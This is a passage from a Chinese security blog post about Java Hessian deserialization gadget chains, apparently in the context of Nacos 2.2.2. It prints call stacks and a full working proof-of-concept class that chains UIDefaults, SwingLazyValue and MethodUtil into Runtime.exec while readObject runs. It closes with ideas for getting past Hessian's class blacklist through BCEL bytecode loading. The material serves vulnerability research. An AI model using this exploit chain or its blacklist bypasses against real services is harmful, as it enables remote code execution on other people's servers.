    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    invoke:275, MethodUtil (sun.reflect.misc)
    run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
    doPrivileged:-1, AccessController (java.security)
    createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
    getFromHashtable:216, UIDefaults (javax.swing)
    get:161, UIDefaults (javax.swing)
    toString:290, MimeTypeParameterList (java.awt.datatransfer)
    valueOf:2994, String (java.lang)
    append:131, StringBuilder (java.lang)
    expect:2880, Hessian2Input (com.caucho.hessian.io)
    readString:1398, Hessian2Input (com.caucho.hessian.io)
    readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
    readObject:2122, Hessian2Input (com.caucho.hessian.io)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    Hashtable.equals

    0ops师傅的解法是直接走的Hashtable.equals这个入口,不从tostring()走
    img

    payload:

    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import com.caucho.hessian.io.*;
    import java.io.*;
    import java.util.HashMap;
    import javax.swing.UIDefaults;
    import sun.swing.SwingLazyValue;
    
    public class Hessian_onlyJdk {
        public static void main(final String[] args) throws Exception {
            Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
            Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
            SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
    
            UIDefaults uiDefaults1 = new UIDefaults();
            uiDefaults1.put("_", slz);
            UIDefaults uiDefaults2 = new UIDefaults();
            uiDefaults2.put("_", slz);
    
            HashMap hashMap = makeMap(uiDefaults1,uiDefaults2);
    
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            Hessian2Output oo = new Hessian2Output(bos);
            oo.getSerializerFactory().setAllowNonSerializable(true);
            oo.writeObject(hashMap);
            oo.flush();
    
            ByteArrayInputStream bai = new ByteArrayInputStream(bos.toByteArray());
            Hessian2Input hessian2Input = new Hessian2Input(bai);
            hessian2Input.readObject();
        }
        public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
            HashMap<Object, Object> s = new HashMap<>();
            setFieldValue(s, "size", 2);
            Class<?> nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            } catch (ClassNotFoundException e) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);
    
            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
            setFieldValue(s, "table", tbl);
            return s;
        }
        public static void setFieldValue(Object obj, String name, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(obj, value);
        }
    }Copy
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57

    调用栈:

    invoke:275, MethodUtil (sun.reflect.misc)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    createValue:73, SwingLazyValue (sun.swing)
    getFromHashtable:216, UIDefaults (javax.swing)
    get:161, UIDefaults (javax.swing)
    equals:814, Hashtable (java.util)
    putVal:635, HashMap (java.util)
    put:612, HashMap (java.util)
    readMap:114, MapDeserializer (com.caucho.hessian.io)
    readMap:538, SerializerFactory (com.caucho.hessian.io)
    readObject:2110, Hessian2Input (com.caucho.hessian.io)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    What in Nacos

    2.2.2版本中用的hessian-4.0.63.jar,这个版本有内置的黑名单

    黑名单在 com.caucho.hessian.io.ClassFactory#isAllow

    所以MethodUtils+Runtime不能用了,System.setProperty + InitalContext.doLookup也g了,不过可以

    用com.sun.org.apache.bcel.internal.util.JavaWrapper,直接加载bcel字节码rce,不过bcel

    classloader在8u251没了,所以仍然想找一个通用点的方式。( author: Y4er.com

  • 相关阅读:
    用 Pytest+Allure 生成漂亮的 HTML 图形化测试报告
    Python编程 字典创建
    华为云云服务器云耀L实例评测 | 从零到一:华为云云耀云服务器L实例上手体验
    文件共享(通过git实现,提供脚本)
    DM数据库金融行业案例(水贴一波)
    nginx网站服务
    c++ 左值引用 右值引用 及 参数引用 & 与&&
    LeetCode每日一题:1333. 餐厅过滤器(2023.9.27 C++)
    Android studio2022.3项目,禁止页面左右
    Docker安全及日志管理
  • 原文地址:https://blog.csdn.net/weixin_45805993/article/details/133045444